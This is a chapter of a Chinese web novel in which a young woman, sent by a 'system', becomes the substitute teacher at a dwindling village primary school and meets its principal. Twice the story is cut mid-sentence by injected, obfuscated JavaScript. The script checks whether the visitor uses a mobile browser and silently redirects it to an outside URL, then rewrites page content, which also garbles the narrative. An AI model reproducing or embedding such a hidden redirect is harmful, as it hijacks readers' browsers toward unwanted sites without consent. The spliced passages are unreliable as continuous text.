这是一个学校,还是一个规模很小的学校,她甚至一眼就望到了校门口,此刻大门紧闭。 她应该是在教学楼,目测只有三层。楼下走几步路就到操场,操场的另一边则是升旗台。学校围墙上还涂画了各种学生运动、读书的场景,但大部分地方已经褪色。 此刻太阳西斜,暖暖的阳光照在肖遥的身上,但她却莫名觉得身体在发颤。 肖遥咬牙,喊出了系统:“你这是把我安排到哪里了?” 系统:“小学啊。” “什么样的小学?” “村小。你不是说想要工作环境简单点的学校吗?你看,这不就符合你的要求了?” 肖遥差点儿背过气去,她深吸了一口气:“我说的是要人际关系简单的学校!” 而不是看起来快要倒闭的学校,还是一个看起来在深山老林里的学校。 肖遥看着翠绿绿的山林以及寂静的学校,心里不免有些害怕:“系统,你该不会是把我拐卖到哪座大山里了吧?” 系统:“亲,你想多了,我们是正经系统,只会鞭策你工作。” 肖遥还想再说点什么,却听见楼梯里传来了一阵脚步声。 肖遥双手抓住栏杆,微微踮起脚跟,目光紧紧盯着楼梯。一旦有什么不对劲,她决定再重开一次。 很快,楼梯口出现了一道身影。 这是一个中年妇女,穿着一件普通的褐色棉服,下身是黑色西装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329903|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裤。她一头清爽利落的短发,面上戴着一副常见的黑色眼镜。 她气喘吁吁地朝肖遥快步走来,嘴里还不停道:“不好意思,不好意思,让肖老师久等了。” 走近前来,她注意到肖遥的动作,眼里透露出一丝疑惑:“肖老师,你这是在...看风景?” 肖遥一愣,赶忙站好,应和道:“对对对,我...出来晒太阳。” “哦。”中年妇女理解地点点头,随即又紧张道:“这天气还是容易感冒的,我们先进去喝口茶暖暖身子。” 说完,她直接进了办公室。 肖遥皱了皱眉头,最后还是跟了进去。 “来,肖老师,你先坐。”中年妇女招呼着肖遥坐在她旁边。接着她又拿起放在一旁的保温壶,为桌上的两个杯子添满热水。 “谢谢。” 肖遥笑着道谢,此刻却有些坐立不安。她把系统喊了出来:“你好歹先跟我介绍一下前因后果啊。” “她是这个学校的校长,姓吴。你是来支教的老师。” 就只有这么一句话? 肖遥忍不住在心里骂系统,但面上依旧笑着打了个招呼:“吴校长。” 吴校长点点头,语气充满歉意:“不好意思,肖老师,刚刚我去处理了个事情,让你久等了。这样,我长话短说,给你介绍一下我们学校的情况。” “你也看到了,我们学校比较偏僻,是A市河阳镇里的一个村小。我们这个学校啊开了有几十年了,但是前些年村里很多人都跑去镇上、甚至去了大城市里工作,连带着不少小孩也离开了。我们村里适龄上学的学生越来越少,所以现在学校里只有12个学生。” “12个?”肖遥有些惊讶。 吴校长无奈地点点头:“对,只剩下六年级的12个孩子。因为我们希望小学前几年开始就不招新生了,原有的大部分学生也被家长转去了镇上的学校。而我们学校本来去年就要合并到镇里的小学。” 说到此,她又叹了口气:“但是我们村去镇小学有段距离,还留在我们学校的小孩大多都是爷爷奶奶带着,每天来回接送也不方便,所以村民们就找到了村书记软磨硬泡。最后书记决定,等六年级的学生毕业,我们再关门。因为只有镇里有初中,而且初中的学生可以住校,不需要家长每天来回接送。” 肖遥了然,原来如此。难怪这学校这么旧也没翻新,原来是快要合并到其他学校去了。 “本以为去年夏天学校就不办了,所以原本所剩不多的老师不是退休就是分去了别的学校。谁知道又要继续办了,我们只能找代课老师。” 她顿了顿,神色似乎有些微妙:“本来去年我们找到了一个老师,但是因为一些原因,上周五的时候他就已经就走了。” 说完,吴校长拉着肖遥的手,满脸的欣慰:“幸好肖老师你来了,不然我都不知道怎么撑完这学期。” 吴校长的手握得紧紧的,肖遥能感觉到她的激动。 她此刻能拒绝吗? 不能。 肖遥扬起嘴角,咬牙露出一个略微勉强的笑容:“能来这里教书,这是我的...理想。” 33.两个老师 确定肖遥的态度后,吴校长便热情地拉起肖遥往门外走,“走,我先带你去住的地方。” 下到一楼,肖遥拖起她放在楼梯角的白色行李箱,跟着吴校长走向校门口。 肖遥有些疑惑,一般教师宿舍不都在校内吗? “吴校,教师宿舍是在校外?” 一听这话,吴校长一拍脑袋,赶忙解释:“差点忘记告诉你了,我们学校有教师宿舍。”她指了指教学楼旁边的那栋楼,“但是你自己一个人住学校的话,不太方便。所以,我想着让你住到我家里去。” 肖遥脚步顿了顿,语气有些为难:“这样会不会打扰到您?” 老天奶,她可不想跟领导住一起。 “不会不会。”似乎才想起应该询问肖遥的意见,吴校长略带歉意道:“肖老师,我太着急了,我应该先问问你的意见。” 她停下脚步,“住学校的话,倒是方便上班,只是平时除了门卫王叔外,就只有你一个人住学校里。而且我们之前的老师大多都是本地人,大家大多只会在中午留在教师宿舍休息,因此我们的教师宿舍就是个4人间的学生宿舍,比较简陋。” 听到一个人住时,肖遥的心就颤了颤。再听到四人间,她对着吴校长果断道:“吴校,那还是去你家住吧,这样我也能跟着你多学点东西。” “好好好。”吴校长连声答应。 她带着肖遥走到一辆黑色小车后,直接从肖遥手里夺过行李箱放进后备箱,嘴上还催道:“肖老师,快上车。” 看着吴校麻利钻进驾驶座的身影,肖遥不由得感慨。 真是个雷厉风行的校长。 路过校门时,吴校长摇下车窗,跟门卫室坐着玩手机的大爷打了个招呼:“王叔,这是我们新来的肖老师,这学期住我家里,我们先回去了,您自己在学校注意安全啊。” 肖遥连忙打了个招呼:“王叔,你好。” 门卫室里的大爷立刻放下手机,眯起双眼笑呵呵回应:“吴校好,肖老师好,路上小心啊。” 校门开了又关上。 肖遥坐在副驾驶座上,看着窗外的风景不断往后退。 虽然是村小,但其实也没有很偏僻。希望小学的另一边虽然山林多,但实际上离学校有点距离,学校附近也居住着不少村民,肖遥还能看见在院子里玩耍的孩童。 朝着面前的水泥路不断前进,不到10分钟,她们就已经到镇上了。 相比起农村,镇上显然更热闹。一楼大多都是商铺,除了有做生意的,还有不少人聚在门口打麻将。 肖遥看着眼前一排的独栋居民楼,跟着吴校走进了其中一栋。 “这就是我们住的地方,离超市、医院都不远,出门就是小吃店。”吴校长一边拿出拿出钥匙打开家门,一边还不忘回头给肖遥介绍。 刚刚在车上的时候,吴校长就给她介绍了家里的情况。她老公在镇上开了个杂货铺,每天都要去看店。她还有一个女儿,现在在A市医科大学读大四。因为读的是医学,所以哪怕在同一个城市里,女儿也只有在逢年过节才回家。 走进屋里,肖遥环顾四周。这是一栋三层的居民楼,一楼是客厅和厨房,虽然颇有些年代,但是被收拾得干净整洁,客厅的茶几上甚至还摆放了一束鲜花。 吴校长招呼着肖遥坐下,给她倒了杯热茶,“肖老师,我已经提前收拾好了床铺。你就住二楼的客房,和我的房间隔了个书房。而且这段时间,我老公不住家里,所以你可以放心住。” 肖遥一愣,她是没想到吴校长居然这么贴心,会因为担心年轻女老师不方便,而让自己的老公住外面。 她连忙放下茶杯,拒绝道:“吴校长,这样多不好意思,因为我,你都不能和家里人住一起。” 吴校长摆摆手,脸上毫不在意:“没事,我老公在店里本来就有自己的房间,他平常也会住店里。” 吴校长拍了拍肖遥的手,真诚道:“再说了,你是帮我们学校救急,我作为校长理应为你安排好后勤服务。而且这件事我和我老公早就商量好了,男老师住学校,女老师住我家里。所以,肖老师,你不用觉得有什么。” 听她这么说,肖遥只好接受她的好意。 坐了一会,吴校长便带着肖遥上了二楼,二楼同样被收拾得干净整洁。 二楼有三个房间,吴校长打开其中一间房门,“就是这间,毛巾牙刷那些我都给你准备好了。” 肖遥错眼望进去,床铺、床头柜、衣柜等家具一应俱全,在窗边还摆放着一个崭新的书桌和椅子,显然才刚买不久。 肖遥看着着温馨的布置,很是喜欢,“谢谢你,吴校长。” 看到肖遥满意的眼神,吴校长也开心不已。 “肖老师,你先整理行李,我出去买点菜,等会我下厨,当作是给你的接风宴。” “吃完饭,我们再出去逛逛,看看你还需要买些什么东西。” “好。” 肖遥脱掉外套,直接瘫倒在床上。她深深吸了一口气,被子很干爽,还软绵绵的,躺在上面很舒服。 肖遥翻了个身,看着天花板开始发呆。 她又到了一个新的地方,又将开始新的学期。 唉。 “系统,在这个学校,我要怎么做才算考核及格?” “全部学生顺利毕业上初中。” “就这么简单?” 肖遥立马坐起身,不可置信问道:“现在都是九年义务教育欸,就算是农村,小孩也要上完初中。” 没有回复的声音。 肖遥撇撇嘴,有些无语。这个系统总是这样,忽冷忽热的,好像有什么毛病。 肖遥起身,快速打开行李箱收拾行李。 其实也没什么东西可收拾的,行李箱里就几件衣服。至于其他生活用品,吴校长都准备好了。 不一会儿,楼下传来开门声,还有吴校长的说话声,肖遥拿起手机下楼。 吴校长手上拎着一袋蔬菜,后面还跟了个中年男人,男人手上也拎着两个大袋子。 肖遥率先打了招呼:“吴校。” “肖老师,收拾完啦。” 肖遥点点头,又看向吴校长身后的男人:“这位是?” “这是我老公,姓张。” 吴校长看了眼男人,又道:“肖老师你跟我女儿差不多大,不介意的话,喊他张叔就行。” 肖遥刚刚还在纠结怎么称呼这个男人,这会直接开口道:“张叔。” “这就是我跟你说的肖老师。” “肖老师,你好。” 不同于吴校长的外向爽朗,张叔的性格相对内向文静。他跟肖遥打了招呼后,直接进了厨房开始做饭。 肖遥还想着进去帮忙,却被吴校长拒绝了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359215|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没事,你张叔做饭可麻利了。” 吴校长一把把肖遥拉到沙发上坐下,“明天就是周一了,肖老师,我先跟你说一下教学安排。” 说完,她语气又变得不好意思起来,她从包里掏出一张课程表递给肖遥。 “因为我们学校就两个老师,所以所有的课都由我们自己商量决定,这是上学期的课程安排,你先看看有没有问题。” 肖遥点点头,她知道学校只有两个老师的时候,就做好了心理准备。虽然学生少,但是课程不变,意味着一个老师要兼顾多门课程。 这种情况在小学并不少见,比如她的师姐毕业后去了某乡镇小学,除了是班主任兼语文老师外,还要教道法课。 肖遥接过课程表,细细看了一遍。 希望小学六年级课程表 早读/升旗:7:40-8:00 第一节:8:10-8:50 第二节:9:00-9:40 大课间:9:40-10:10 第三节:10:10-10:50 第四节:11:00-11:40 中午休息:11:40-14:00 第五节:14:00-14:40 眼保健操:14:40-15:00 第六节:15:00-15:40 第七节:15:50-16:30 “我们小学主科就三门,语文、数学、英语,副科有道法、体育、科学、美术、音乐、心理、信息、劳动、活动。” “目前语文和阅读是一周6节,数学一周5节,英语加听力是一周4节,主科都在上午。体育是一周5节,道法一周3节,科学、音乐、美术、心理、信息这些都是一周1-2节,反正课程比较灵活,不是你上就是我上。” “上学期的安排是,我是班主任,另一位老师是副班主任。我主教语文、数学、道法、心理和书法,另一位老师负责英语、体育、科学、美术、音乐、信息和活动,劳动课则是学生搞卫生。” 大约是怕教学科目太多,吓到这位新来的老师。吴校长语气颇为小心翼翼,尽量找出在村小上课的优点。 “早读是语文和英语两个学科轮流,但我们没有课后服务,下午上完最后一节就直接放学,晚上也没有晚自习。学生的家长大多不太管孩子的学习,所以很少投诉。而且一般没什么特殊情况,下班后老师不需要再回家长信息。” 肖遥一边听着吴校的话,一边看着课程表默默算课时。 一天7节课,除去周五最后一节的劳动课,一周有34节课。 吴校负责的科目:语文和阅读6节、数学5节、道法3节、心理1节、班会1节、书法1节,一共17节课时。 而肖遥负责的科目:英语4节、体育5节、科学2节、信息2节、音乐2节、美术1节、活动1节,也是17个课时。 虽然都是一样的课时,但是吴校是班主任,还教两门主科。而肖遥虽然负责的科目多,但是备课不会太难。 总体来说,安排还算合理。 肖遥笑着看向吴校长:“吴校,我明白了,这个课程表没有什么问题,我会好好备课的。” 吴校长这才长长舒出一口气,她笑容灿烂,向着肖遥伸出右手,郑重道:“欢迎肖老师加入我们希望小学。”